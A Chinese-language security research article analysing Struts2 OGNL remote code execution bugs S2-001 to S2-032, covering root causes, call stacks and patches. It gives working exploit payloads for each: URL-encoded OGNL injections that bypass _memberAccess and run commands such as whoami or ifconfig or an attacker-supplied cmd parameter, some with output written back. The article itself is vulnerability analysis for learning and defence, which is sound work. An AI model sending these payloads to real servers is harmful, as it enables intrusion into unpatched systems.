最近两年ST2-OGNL方面的漏洞已经渐渐淡出大家的视线,但我觉得作为曾经红极一时的经典系列RCE漏洞,对于ST2和OGNL有一个深入的认知对于代码审计和漏洞挖掘者是十分重要的,所以这篇文章对ST2中由于OGNL造成的RCE漏洞的成因、修复方案一一作了分析,希望能让各位看官对ST2和OGNL能够有一个深入的认知。
笔者为了方便调试各个版本的漏洞临时搭建了一个maven的环境,比较拙劣,就不拿出来给各位看官造成困扰,但是在GitHub上我找到了一个非常棒的ST2各个版本漏洞调试环境,在这里推荐给大家。
不过其实为了提升对漏洞的认知,我还是非常建议自己去搭建环境的。
这里直接通过一段实例代码来解释ognl表达式的一些常规使用,
import ognl.Ognl;
import ognl.OgnlContext;
import java.util.HashMap;
import java.util.Map;
public class User {
private String name;
private Integer age;
public User() {
super();
}
public User(String name, Integer age) {
super();
this.name = name;
this.age = age;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public Integer getAge() {
return age;
}
public void setAge(Integer age) {
this.age = age;
}
public static void main(String[] args) throws Exception {
User rootUser = new User("tom",18);
Map<String, User> context = new HashMap<String, User>();
context.put("user1",new User("jack",20));
context.put("user2",new User("rose",22));
OgnlContext oc = new OgnlContext();
//ognl由root和context两部分组成
oc.setRoot(rootUser);
oc.setValues(context);
//get ognl的root的值的时候,直接写希望获取的值的名字就可以了
String name = (String) Ognl.getValue("name",oc,oc.getRoot());
Integer age = (Integer) Ognl.getValue("age",oc,oc.getRoot());
//get ognl非root的值的时候,需要使用#
User name1 = (User) Ognl.getValue("#context['user1']",oc,oc.getRoot());
String name2 = (String) Ognl.getValue("#user2.name",oc,oc.getRoot());
Integer age1 = (Integer) Ognl.getValue("#user1.age",oc,oc.getRoot());
Integer age2 = (Integer) Ognl.getValue("#user2.age",oc,oc.getRoot());
//ognl的getValue函数可以直接执行java函数
Object obj = Ognl.getValue("'helloworld'.length()",oc.getRoot());
//访问静态属性和方法的时候需要使用@
Object obj2 = Ognl.getValue("@java.lang.Runtime@getRuntime().exec('open /Applications/Calculator.app/')",oc.getRoot());
}
}
适用版本:2.0.0 – 2.0.8
%{@java.lang.Runtime@getRuntime().exec("open /Applications/Calculator.app/")}
只命令执行,无回显。
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"/bin/bash", "-c", "whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
通过重写response实现命令回显。
注意1:tomcat在处理post参数的时候遇到 %{*}的形式会报空指针异常,所以post参数传的时候要做url编码。
注意2:为了研究的目的,仅第一版POC给出实用版,剩下的研究仅提供简易版来验证RCE的存在。
ognl表达式的getValue函数本身具有执行java代码的能力,最基础的形式如下:
public class Ognltest {
public static void main(String[] args) throws OgnlException {
OgnlContext context = new OgnlContext();
Object obj = Ognl.getValue("'helloworld'.length()",context);
System.out.println(obj);
Object obj1 = Ognl.getValue("@java.lang.String@format('foo %s','bar')",context);
System.out.println(obj1);
Object obj2 = Ognl.getValue("@java.lang.Runtime@getRuntime().exec('open /Applications/Calculator.app/')",context);
}
}
也就是说,当Ognl.getValue的第一个参数可控的时候,就可以造成RCE。
struts2用来处理传入参数以及request中各项参数的值栈OgnlValueStack在进行取值的时候,就会去调用ognl的getValue参数,从而造成命令执行。
看一下调用栈,只跟到Ognl.getValue,因为到这一步已经可以确认RCE了
先说一下为什么触发点是从doEndTag开始:当你在输入框中输入了用户名或密码后,ST2需要将你输入的值保留在jsp页面表单对应的value上,所以就会去调用doEndTag方法。
关键函数在TextParseUtil.translateVariables
public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, TextParseUtil.ParsedValueEvaluator evaluator) {
Object result = expression;
while(true) {
int start = expression.indexOf(open + "{");
int length = expression.length();
int x = start + 2;
int count = 1;
while(start != -1 && x < length && count != 0) {
char c = expression.charAt(x++);
if (c == '{') {
++count;
} else if (c == '}') {
--count;
}
}
int end = x - 1;
if (start == -1 || end == -1 || count != 0) {
return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);
}
String var = expression.substring(start + 2, end);
Object o = stack.findValue(var, asType);
...
}
}
translateVariables函数传过来的open参数的值是’%',在截取var的时候是截取的 open+{ 之后的字符串,并把var传入stack.getValue,这也是我们的poc构造的时候要写成%{*}形式的原因。进入stack.getValue之后就是顺理成章的进入到Ognl.getValue中去了。
关于实用版本的POC,还有有一个值得一提的地方,就是如何让命令进行回显,这里就是通过struts2处理response的com.opensymphony.xwork2.dispatcher.HttpServletResponse类来写入了我们命令执行的回显。不过随着struts版本的升级,处理response的类会改变,因此写入回显的类也会发生变化。
去看一下S2-001的修复代码,修复放也在了TextParseUtil.translateVariables函数中,
public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, TextParseUtil.ParsedValueEvaluator evaluator, int maxLoopCount) {
Object result = expression;
int loopCount = 1;
int pos = 0;
while(true) {
int start = expression.indexOf(open + "{", pos);
if (start == -1) {
int pos = false;
++loopCount;
start = expression.indexOf(open + "{");
}
if (loopCount > maxLoopCount) {
break;
}
int length = expression.length();
int x = start + 2;
int count = 1;
while(start != -1 && x < length && count != 0) {
char c = expression.charAt(x++);
if (c == '{') {
++count;
} else if (c == '}') {
--count;
}
}
int end = x - 1;
if (start == -1 || end == -1 || count != 0) {
break;
}
String var = expression.substring(start + 2, end);
Object o = stack.findValue(var, asType);
...
...
int length2 = (left == null || left.length() <= 0) ? 0 : left.length() - 1;
int length3 = (middle == null || middle.length() <= 0) ? 0 : middle.length() - 1;
pos = Math.max((length3 + length2) + MAX_RECURSION, MAX_RECURSION);
...
}
}
ST2在修复漏洞的时候,不像一般的框架通过抛异常的方式,所以分析修复还需要把两个版本的jar包做一下比对,而且修复点还是放在了xwork的jar里面,这点需要留意。
因为ST2在处理stack值栈的时候,是根据传入的expression是否是%{}的形式来判断这个参数是否需要传给Ognl.getValue的,POC也正是利用了这一点,把形如 %{}的特殊参数值传了进去。这次修复的时候,在判断expression是否形如%{}的时候加入了一个起始位置判断参数pos(而不是所有的值都是从起始位开始计算),这样的话是防止了构造特殊参数值的问题。但与此同时,我们也能看出ST2因为自身需要,无法对%{}这种写法进行禁用,这次的特殊值是从post的参数值传过来的,下一次也可能从很多其他地方传过来,毕竟不论是header还是post的参数名等很多从request传过来的值都是需要放在OgnlValueStack中的,所以,以此为基点,也开始拉开了ST2不断被发掘RCE的起点。
适用版本:2.0.0 – 2.1.8.1
tomcat版本要求:6.0
因为高版本的tomcat遇到了S2-003的POC中的特殊字符会报错,所以这个漏洞的复现只能在Tomcat的6.0及以前版本复现。
同Ognl.getValue,Ognl.setValue同意具有执行java代码的能力,写法如下,
OgnlContext context = new OgnlContext();
Ognl.setValue("(\"@java.lang.Runtime@getRuntime().exec(\'open /Applications/Calculator.app/\')\")(glassy)(amadeus)",context,"");
看一下这个ognl的表达式,表面上去看上去是有点诡异的,在我们上面的getValue的exp后面多了个(glassy)(amadeus),关于ognl对上面这串表达式的执行流程是,ognl首先对(\”@java.lang.Runtime@getRuntime().exec(\’open /Applications/Calculator.app/\’)\”)(glassy)当做表达式进行计算,这个表达式返回了带有payload的ASTEval树,然后以amadeus为root再对这个AST树进行计算,从而造成了RCE.
如果觉得笔者说的不够详细还可以直接去看一下官方的原文解释。
S2-003就是利用了Ognl.setValue的执行java代码的能力造成的RCE。
http://www.glassy.com/test.action?('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(a)(b)&('\u0040java.lang.Runtime@getRuntime().exec(\'open\u0020/Applications/Notes.app/\')')(a)(b)
POC和Ognl表达式区别不大,只有两点需要留意:
1.多了一个将xwork.MethodAccessor.denyMethodExecution的值设为false的操作。
2.一些敏感字符(@、\=、#)被写成了\u00??的形式。
具体原因在原理中给出。
poc要分两部分分析,第一部分(‘\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse’)(a)(b)
先url变成未编码的样式去看(‘#context[\'xwork.MethodAccessor.denyMethodExecution\']=false’)(a)(b)
看变量名都能明白是什么意思denyMethodExecution,将禁止方法执行设置为了flase,也就是允许方法执行。
第二部分(‘\u0040java.lang.Runtime@getRuntime().exec(\’open%\u0020/Applications/Notes.app/\’)')(a)(b)就是我们希望传给Ognl.setValue的值(‘@java.lang.Runtime@getRuntime().exec(\’open /Applications/Notes.app/\’)')(a)(b)
看一下调用栈,
其中在ParametersInterceptor的doIntercept方法中,可以看到把denyMethodExecution设置为了true,这也是我们poc第一部分要把值修改一下的原因,
否则的话,在调用getRuntime方法的时候,会报错,具体判断代码在XWorkMethodAccessor的callStaticMethod方法中。
public Object callStaticMethod(Map context, Class aClass, String string, Object[] objects) throws MethodFailedException {
Boolean exec = (Boolean)context.get("xwork.MethodAccessor.denyMethodExecution");
boolean e = exec == null ? false : exec;
return !e ? super.callStaticMethod(context, aClass, string, objects) : null;
}
然后我们再来看一下两部分POC的字符都写成\u00??的样式的原因,第一点,我们先理解一下为什么写成这种形式,代码能识别,
看一下OgnlUtil类的setValue函数,可以看到它在调用Ognl.setValue的时候,会先把传过来的name放到compile函数中做一下处理,也正是这个处理将\u00??转化成了其url解码后对应的字符。
public static void setValue(String name, Map context, Object root, Object value) throws OgnlException {
Ognl.setValue(compile(name), context, root, value);
}
上面解释了编码后字符能够被识别的原因,现在我们来看一下为什么要编码,在参数进入到ParametersInterceptor的setParameters函数的时候,要把参数放到acceptableName函数中做一下判断,如果不满足判断,就不会对后续参数进行处理,看一下这个函数,
protected boolean acceptableName(String name) {
return name.indexOf(61) == -1 && name.indexOf(44) == -1 && name.indexOf(35) == -1 && name.indexOf(58) == -1 && !this.isExcluded(name);
}
可以看到是有一个黑名单的,也可以发现’#'对应的ascii 35是在这个黑名单里面的,所以我们才需要进行编码。
但是从黑名单里面可以看到,‘@’对应的ascii 64并不在黑名单之中,那为什么它也要进行编码呢,我们去比对一下@编码和不编码的时候的params值的区别,因为params值在后续是会轮流放进Ognl.setValue方法中的,
其中有一处看上去不起眼的区别就是,poc的两部分的顺序发生了变化,而因为后面的Ognl.setValue的调用是按照params的顺序进行的,一旦造成RCE的poc部分在设置denyMethodExecution的poc部分之前执行了,就会抛出异常了,这就是‘@’字符不在黑名单中也要做一个编码的原因。
不过这个poc只适用到2.0.11到2.0.11.1和2.0.11.1不再使用indexOf来做黑名单匹配,而改使用了[\p{Graph}&&[^,#:=]]*这个正则去做匹配,效果一样。
后续的操作就是Ognl.setValue造成RCE的部分,就不再分析了。
这次漏洞修复的补丁比较复杂一点,先对修复前后两个版本的xwork的jar包做一个比对,可以看到关键的修复部分在ParametersInterceptor的setParameters处
还有OgnlValueStack中新增了一个allowStaticMethodAccess成员变量和SecurityMemberAccess成员对象,
动态调试一下,就可以发现在stack中多了一个securityMemberAccess变量,其中关键的成员变量allowStaticMethodAccess和excludeProperties为后续能否调用函数做了一下判断。具体的判断位置分别在SecurityMemberAccess的isAccessible函数和isExcluded函数中。
适用版本:2.0.0 – 2.1.8.1
tomcat版本要求:6.0
S2-005就是对于S2-003的绕过,从上面的修复可以看到,补丁的关键部分在于通过对securityMemberAccess的两个成员变量allowStaticMethodAccess和excludeProperties对OGNL表达式能否加载函数,然而通过OGNL表达式,我们可以改写这两个变量的值(和denyMethodExecution是一个套路),来实现补丁的绕过。我们需要做的事情就是保证allowStaticMethodAccess的值为真,excludeProperties的值为空。
http://www.glassy.com/test.action?('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(a)(b)&('\u0023_memberAccess.excludeProperties\[email protected]@EMPTY_SET')(a)(b)&('\u0023_memberAccess.allowStaticMethodAccess\u003dfalse')(a)(b)&('\u0040java.lang.Runtime@getRuntime().exec(\'open\u0020/Applications/Notes.app/\')')(a)(b)
关于绕过思路,没有什么好说的了,我们在这里就讨论一下怎么去构造这个payload,也就是#_memberAccess.allowStaticMethodAccess=false这个#_memberAccess是怎么来的。
其实struts2的SecurityMemberAccess类是ognl中DefaultMemberAccess类的一个子类,在使用Ognl进行getValue的时候,会把这个SecurityMemberAccess传递给ognl,使用我们只需要去看看ognl怎么设置MemberAccess的值就OK了。去看一下Ognl类的setMemberAccess函数,
public static void setMemberAccess(Map context, MemberAccess memberAccess) {
context.put(OgnlContext.MEMBER_ACCESS_CONTEXT_KEY, memberAccess);
}
再去看一下OgnlContext.MEMBER_ACCESS_CONTEXT_KEY的值,就找到了_memberAccess,
public static final String MEMBER_ACCESS_CONTEXT_KEY = "_memberAccess";
关于_memberAccess.excludeProperties的空值怎么构造,只需要把程序断点打到excludeProperties赋值前,就可以看到空值是什么样子的了,
S2-005的补丁就是加强了ParametersInterceptor.acceptableName函数的正则,把正则换成了更精准额匹配:[a-zA-Z0-9.][()_'\s]+
适用版本:2.0.0 – 2.2.3
S2-007的利用场景比较苛刻,要求对提交的参数配置了验证规则并对提交的参数进行类型转换的时候会造成OGNL表达式的执行。
假设user.birthDay做了类型转换。
user.name=glassy&user.age=12&user.birthDay=%27%2b(%23_memberAccess.allowStaticMethodAccess%3dtrue%2c%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3dfalse%2c%40java.lang.Runtime%40getRuntime().exec(%27%2fApplications%2fNotes.app%2fContents%2fMacOS%2fNotes%27))%2b%27&user.email=31312%40qq.com
在这里先介绍一下ST2如何处理各种数据(客户端穿来的param,生成的日志等),所有的数据优先都会先去找到DefaultActionInvocation类,再由DefaultActionInvocation交给对于的Interceptor处理,总共有16个Interceptor,都可以在xwork-default.xml中看到,
<interceptor name="timer" class="com.opensymphony.xwork2.interceptor.TimerInterceptor"/>
<interceptor name="logger" class="com.opensymphony.xwork2.interceptor.LoggingInterceptor"/>
<interceptor name="chain" class="com.opensymphony.xwork2.interceptor.ChainingInterceptor"/>
<interceptor name="staticParams" class="com.opensymphony.xwork2.interceptor.StaticParametersInterceptor"/>
<interceptor name="params" class="com.opensymphony.xwork2.interceptor.ParametersInterceptor"/>
<interceptor name="filterParams" class="com.opensymphony.xwork2.interceptor.ParameterFilterInterceptor"/>
<interceptor name="removeParams" class="com.opensymphony.xwork2.interceptor.ParameterRemoverInterceptor"/>
<interceptor name="modelDriven" class="com.opensymphony.xwork2.interceptor.ModelDrivenInterceptor"/>
<interceptor name="scopedModelDriven"
class="com.opensymphony.xwork2.interceptor.ScopedModelDrivenInterceptor"/>
<interceptor name="validation" class="com.opensymphony.xwork2.validator.ValidationInterceptor"/>
<interceptor name="workflow" class="com.opensymphony.xwork2.interceptor.DefaultWorkflowInterceptor"/>
<interceptor name="prepare" class="com.opensymphony.xwork2.interceptor.PrepareInterceptor"/>
<interceptor name="conversionError" class="com.opensymphony.xwork2.interceptor.ConversionErrorInterceptor"/>
<interceptor name="alias" class="com.opensymphony.xwork2.interceptor.AliasInterceptor"/>
<interceptor name="exception" class="com.opensymphony.xwork2.interceptor.ExceptionMappingInterceptor"/>
<interceptor name="i18n" class="com.opensymphony.xwork2.interceptor.I18nInterceptor"/>
关于S2-007漏洞的触发是和类型转换报错有关的,我们很容易就找到了ConversionErrorInterceptor,看名字就知道类型转换报错是交给这个类处理的,
跟进ConversionErrorInterceptor的intercept函数,可以看到我们构造的payload被取出后,进到了getOverrideExpr函数
看一下getOverrideExpr函数,其实就是把我们的payload用单引号阔起来了,这也就解释了为什么我们的payload是形如 ‘ + (*) + ‘的形式,就是为了逃逸这个单引号,
然后我们以kay-value的形式将param-payload存入名为fakie的变量中,继续往下,看到最后fakie被放到了setExprOverrides函数中,
根据setExprOverrides函数,就是讲param-payload的这个变量放到了stack的overrides中了,
接下来我们就去跟进一下造成RCE的调用栈,只跟进到ognl.getValue()剩下的都是前文的内容了,
其实总体上的调用栈和001非常相似,唯一我们需要留意的就是payload是从哪里获取的,看一下OgnlValueStack的tryFindValue,看到进入getvalue的expr的值是从lookupForOverrides中获取的,
跟进lookupForOverrides函数,就可以看到我们把ConversionErrorInterceptor在处理payloay的时候放进overrides的值给拿出来了,接下来就是顺理成章的交给ognl.getValue()造成rce。
看一下007的修复,在ConversionErrorInterceptor的getOverrideExpr中对value的值做了一下escape,防止再从引号里面逃逸出来。
适用版本:2.0.0 – 2.3.1.1
tomcat版本要求:6.0
S2-009其实就是对003和005的绕过,通过上面的修复分析,我们可以看到对于参数名的正则限制,已经可以保证在参数名方面寻找绕过方式是很困难的了,于是009把绕过的重点放到了参数值上,
首先去看一个ognl.setValue造成rce的一种新的写法,
OgnlContext context = new OgnlContext();
Ognl.setValue("password",context,"@java.lang.Runtime@getRuntime().exec('open /Applications/Notes.app/')(glassy)");
Ognl.setValue("a[(password)(glassy)]",context,"true");
第一行代码用于将password-payload的map写入ognl的root中去,第二行代码中的a[(password)(glassy)]在AST树中进行解析的时候按照从右到左,从里到外的顺序进行解析,因此优先解析(password)(glassy),password的值在root中有(password-payload),于是解析成了payload(glassy)的形式,然后就是和ST2-003一样的原理造成了RCE了。
其实想造成RCE把a[(password)(glassy)]写成(password)(glassy)的形式就可以成功,但是由于我们构造payload的地方在参数名处,因此我们还需留意让payload保持着参数名的正常格式,否则是没法被st2作为参数名完整的传到OGNL中的。
http://www.glassy.com/test.action?password=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%[email protected]@getRuntime%28%29.exec%28%27/Applications/Notes.app/Contents/MacOS/Notes%27%29%29%28meh%29&z[%28password%29%28meh%29]=true
看一下调用链,其实一看是param方面的问题,直接去看ParametersInterceptor类就完事了,
漏洞成因其实就是把造成RCE的位置从参数名改到了参数值的位置,从而绕过了003和005补丁中对参数名的正则过滤,在OGNL中造成RCE的成因在上面已经分析完毕,不再重复。
这次漏洞修复分为了两个部分,
1.加强了对参数名正则的限制,使形如a[(password)(glassy)]的参数名被过滤掉了。
2.在将param传给ognl的时候会去检查生成的AST树是否具有执行权限,如果有的话,就会抛出异常。
适用版本:Struts Showcase 2.0.0 – Struts Showcase 2.3.14.2
低版本struts,即还没引入allowStaticMethodAccess的poc
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"/bin/bash", "-c", "open /Applications/Notes.app/"})).start()}
这次的poc没有使用Runtime类而改用了ProcessBuilder类,这个类有一个优势,它不是静态类,命令执行的时候调用的start方法也不是静态方法,不受OgnlValueStack类的allowStaticMethodAccess值的限制。(注意一下,这个poc也要url编码和S2-001一样的原因)
在showcase app中的利用位置,
造成这个RCE的问题出在了重定向上,当需要从ST2的值栈中读取数据作为重定向的参数,而这个值又是前端可控的情况下可以造成RCE。(也就是说其实不在showcase app中有类似场景也能造成RCE,只是这种情景比较少见。)
<action name="save" class="org.apache.struts2.showcase.action.SkillAction" method="save">
<result type="redirect">edit.action?skillName=${currentSkill.name}</result>
</action>
看一下调用栈,
因为这一次造成RCE是重定向的时候,这个时候各个Interceptor已经处理完传来的数据,RCE的调用也是从DefaultActionInvocation.executeResult往后走,
往后走后需要计算重定向的值,而重定向的值需要从stack中去取,
而stack处理取值的时候是使用递归的方式取值,首先取出currentSkill.name的值,发现值是ognl表达式,然后再去调ognl.getValue从而造成了RCE
其实currentSkill.name在进入ognl.setValue的时候同样进入了之前修复001的时候的补丁代码,那么为什么这一次补丁代码没有生效呢。
原因就在于下图,之前的补丁修复方式就是把递归的pos放到了计算的结果后面,比如如果计算完了%{password}的值,下一次计算是从%{password}后面开始计算,然而这个补丁中有一个会重置pos为0的循环,
之前补丁能生效,是因为处理param的时候openChar只有1个字符,无法重置pos,
而使用重定向的功能的时候,传给evaluate的函数有两个openChar,从而导致循环的时候把本应该值是135(payload的长度)的pos重置为了0,从而重新把payload带入了ognl,造成了RCE。
使用这次修复代码十分简单,把pos=0放到了for循环外,防止对openChar做循环的时候把pos重置成0了。
适用版本:2.0.0 – 2.3.14.1
013的利用场景比012还要苛刻,需要jsp的s:url或者s:a标签中的includeParams属性为all或者get,我这边给出我写的示例jsp
<%@ taglib prefix="s" uri="/struts-tags" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>ST2-013 Test</title>
</head>
<body>
<a href='<s:url action="hello" includeParams="all"/>'>test</a>
</body>
</html>
http://www.glassy.com/Struts2Demo_war_exploded/hello.jsp?fakeParam=%25%7b%23a%3d(new+java.lang.ProcessBuilder(new+java.lang.String%5b%5d%7b%22%2fbin%2fbash%22%2c+%22-c%22%2c+%22open+%2fApplications%2fNotes.app%2f%22%7d)).start()%7d
文字说明一下造成rce的流程:jsp通过s:url或s:a标签来动态生成跳转的action的时候,如果想把jsp里面的参数带到action的后面,就需要配置includeParams,这样的话服务端就会先去拿到jsp的参数,并带到ST2的ognl里面计算一下这个参数再去拼接到action后面,从而造成了rce。
调用栈如下,
buildParameterSubstring会把传入的参数的值放到translateVariables函数中,而translateVariables就把值交给了ognl的getValue从而造成了RCE。
只对传过来的参数做一下urlencode,不在放到ognl里面去计算了。
适用版本:2.0.0 – 2.3.14.2
这个poc也是对服务端配置有一点要求的,它要求当ST2使用通配符‘*’来做action映射的时候才能利用成功。
配置在struts.xml中,示例如下
<action name="*" class="example.ExampleSupport">
<result>/example/{1}.jsp</result>
</action>
ST2处理通配符配置的action映射的时候流程是这样的:如果一个请求的action在映射中不存在,那么就会去匹配通配符,ST2会根据请求的action名来加载对应的jsp文件。以上面的配置为例子,当请求一个struts.xml中不存在的test.action的时候,ST2就会去吧/example/test.jsp的内容返回给前端。
http://www.glassy.com/Struts2Demo_war_exploded/%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23m.setAccessible%28true%29%2C%23m.set%28%23_memberAccess%2Ctrue%29%2C%23q%[email protected]@toString%[email protected]@getRuntime%28%29.exec%28%27ifconfig%27%29.getInputStream%28%29%29%2C%23q%7D.action
这一次的poc给出了实用版本的poc,主要原因在于之前的简易poc都是以打开计算器为实例,而这一次由于造成rce的位置在路径位置,导致带有 ‘/’ 的命令无法进入到ST2的ognl,所以只能使用ifconfig这种简单的命令,想验证执行就需要有回显(这里指的是mac下的复现情况)。
先看调用栈,
这个漏洞的触发流程和012的流程差不多,012是在各个Interceptor处理完毕,开始计算重定向位置的时候造成的RCE,015是在各个Interceptor处理完毕,计算定向的jsp的时候造成的RCE,RCE的调用也是从DefaultActionInvocation.executeResult往后走,
具体的数据流也是和012相差无几的,这里就不再详细分析。
修复就是对actionname做了正则限制。
适用版本:2.0.0 – 2.3.15
ST2使用action:或redirect:\redirectAction:作为前缀参数来进行短路导航状态变化,后面用来跟一个期望的导航目标表达式。一看到这两个写法后面跟的是表达式,一定意义上就看到了RCE的可能性。
http://www.glassy.com/Struts2Demo_war_exploded/hello.action?redirect:%24%7b%23a%3d(new+java.lang.ProcessBuilder(new+java.lang.String%5b%5d%7b%27%2fbin%2fbash%27%2c+%27-c%27%2c%27open+%2fApplications%2fNotes.app%2f%27%7d)).start()%7d
先看调用栈,
调用栈和原理也和012几乎一样不再详细分析。
唯一需要注意的就是ST2对类似于redirect:这样的写法的处理是统一放在DefaultActionMapper里的,感兴趣的可以自己去看一下源码,
修复方式十分简单粗暴,把这种用法给删除, 只留下了action:和method:两种无害的写法。(因为通过actionname造成的RCE已经在015漏洞处修复,所以action:这种写法就算是无害的了。)
适用版本:2.0.0 – 2.3.15.1
019漏洞要求ST2开启开发者模式才能利用成功,不过ST2默认情况下开发者模式是打开的,如果想关闭,需要在struts.xml中添加如下配置,
<constant name=”struts.devMode” value=”false” />
随便找个action,param的话post和get都行,
http://www.glassy.com/Struts2Demo_war_exploded/hello.action?debug=command&expression=%23a%3d(new+java.lang.ProcessBuilder(%27open+%2fApplications%2fNotes.app%2f%27)).start()
看这个漏洞要求开发者模式,且poc第一个参数是debug,就知道触发点应该是在DebuggingInterceptor上,去看一下intercept函数,整个利用一目了然,
public String intercept(ActionInvocation inv) throws Exception {
boolean actionOnly = false;
boolean cont = true;
Boolean devModeOverride = FilterDispatcher.getDevModeOverride();
boolean devMode = devModeOverride != null ? devModeOverride : this.devMode;
final ActionContext ctx;
if (devMode) {
ctx = ActionContext.getContext();
String type = this.getParameter("debug");
ctx.getParameters().remove("debug");
if ("xml".equals(type)) {
inv.addPreResultListener(new PreResultListener() {
public void beforeResult(ActionInvocation inv, String result) {
DebuggingInterceptor.this.printContext();
}
...
...
} else if ("command".equals(type)) {
ValueStack stack = (ValueStack)ctx.getSession().get("org.apache.struts2.interceptor.debugging.VALUE_STACK");
if (stack == null) {
stack = (ValueStack)ctx.get("com.opensymphony.xwork2.util.ValueStack.ValueStack");
ctx.getSession().put("org.apache.struts2.interceptor.debugging.VALUE_STACK", stack);
}
String cmd = this.getParameter("expression");
ServletActionContext.getRequest().setAttribute("decorator", "none");
HttpServletResponse res = ServletActionContext.getResponse();
res.setContentType("text/plain");
try {
PrintWriter writer = ServletActionContext.getResponse().getWriter();
writer.print(stack.findValue(cmd));
writer.close();
} catch (IOException var17) {
var17.printStackTrace();
}
从debug参数获取调试模式,如果模式是command,则把expression参数放到stack.findValue中,最终放到了ognl.getValue中。
这个漏洞说是利用只到2.3.15,但是我在2.3.16依旧可以利用成功,我猜官方的意思应该就是debug下允许这种操作,所以提倡使用者关闭开发者模式吧。
适用版本:2.0.0 – 2.3.24.1 (不包括2.3.20.3)
029的利用场景比较苛刻,所以在官方的漏洞定级上,比以往的RCE漏洞定级要低。
这次的RCE是一个二次的ongl表达式执行,它不再是像之前大多漏洞,随便找一个action就可以执行,它需要一个映射的jsp中将形如${name}的字符放到ST2的标签的属性中的action,然后通过将name参数构造出特殊的ognl表达式才能造成RCE。
下面给出示例写法,
<s:textfield name="%{message}"></s:textfield>
这次的实用POC非常好写,不需要重写response类,因为ST2会把插入的OGNL表达式的结果当做标签的value返回给前端。
http://www.glassy.com/Struts2Demo_war_exploded/s2029.action?message=(%23_memberAccess['allowPrivateAccess']=true,%23_memberAccess['allowProtectedAccess']=true,%23_memberAccess['excludedPackageNamePatterns']=%23_memberAccess['acceptProperties'],%23_memberAccess['excludedClasses']=%23_memberAccess['acceptProperties'],%23_memberAccess['allowPackageProtectedAccess']=true,%23_memberAccess['allowStaticMethodAccess']=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('open%20/Applications/Notes.app/').getInputStream()))
看一下调用栈,
其实这个漏洞和001有着很大的相似性,001就是在返回jsp的时候需要把输入的值放到jsp标签的value中,所以先把这个参数名放到了ognl.getvalue中,而当它的值又是ognl表达式的时候,就会递归的放进getvalue中导致了RCE。因为后续的补丁已经从根本上隔绝了绕过的可能性,所以这次的漏洞就是保证了payload在进入补丁代码前就已经是ognl表达式的格式(即%{*})。
当前端标签的属性值存在本来就是%{*}的格式的情况,只需要传入ognl表达式,就可以保证payload在传到UIBean的evaluateParams函数的时候,name就已经是一个ST2的ognl表达式格式了,这样在后续的处理中就会顺理成章的交给ognl.getvalue,从而导致了RCE。
问题的关键在于completeExpressionIfAltSyntax函数给我们传进的表达式放到了%{}之中,
protected String completeExpressionIfAltSyntax(String expr) {
return this.altSyntax() ? "%{" + expr + "}" : expr;
}
这一次的修复放在了OgnlUtil处,选择了治标治本的方法,直接对AST树的执行权限做了限制。(之前第一次对AST树执行权限的限制仅仅是对ATSChain类的执行做了限制,而此次构造的payload生成的是ATSSequence类,所以这次也对这个类的执行做了限制)
适用版本:2.3.20 – 2.3.28(2.3.20.3和2.3.24.3除外)
这个版本漏洞要求在struts.xml中将DynamicMethodInvocation设置为true才能利用成功。(低版本ST2的DynamicMethodInvocation默认为true,高版本默认为false)
<constant name="struts.enable.DynamicMethodInvocation" value="true" />
http://www.glassy.com/struts2-showcase/home11.action?method:%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D),d&cmd=/Applications/Notes.app/Contents/MacOS/Notes
这一次的poc有几个非常奇妙的地方,需要一一留意。
1、为什么这一次没有直接写成@java.lang.Runtime@getRuntime().exec(‘whoami’)的形式,而写成了@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D)的形式。
有心的同志们可要去尝试一下第一种写法,会发现会报OGNL表达式错误,根本原因就在于使用method:的时候ST2会去创建一个ActionProxy来执行method后面的内容,当我们把内容放到StrutsActionProxy类的构造函数中去创建代理对象的时候会对我们传进来的表达式做一次编码,导致最后进入ognl.getValue中的表达式变成了@java.lang.Runtime@getRuntime().exec(\’whoami\’),从而导致了ognl表达式的报错。而request中所有的参数都会放在context中,可以通过#parameters.参数名[0]的方式获取,非常方便。
2、为什么poc末尾会有一段非常奇怪的:’,d’。这个问题要去看一下DefaultActionInvocation类,
可以看到在传给ognl.getValue之前,代码会给我们传过来的表达式后面加一个括号,而我们的poc写成 ,d的形式只是为了去构成一个形如d()的函数形式,防止ognl表达式报错。
在S2-016中,我们已经介绍过,ST2处理url中处理method:这类写法的代码在DefaultActionMapper中,我们去看一下。
看到的那个if语句,也就是我们需要保证DynamicMethodInvocation为true的原因。
看一下造成rce的调用栈,
这一次调用栈也非常简单,关键的poc构造部分在上面已经解析完了,我这里依旧文字说明一下流程:当所有的interceptors调用完成后,计算返回码的时候,ST2就开始去计算我们最初传过来的method:后面的值,从而把内容放进了ognl.getValue,造成了RCE。
这一次的修复是把传过来的methmod的值放到了cleanupActionName函数中做了一下正则过滤。
this.allowedActionNames = Pattern.compile("[a-zA-Z0-9._!/\\-]*");
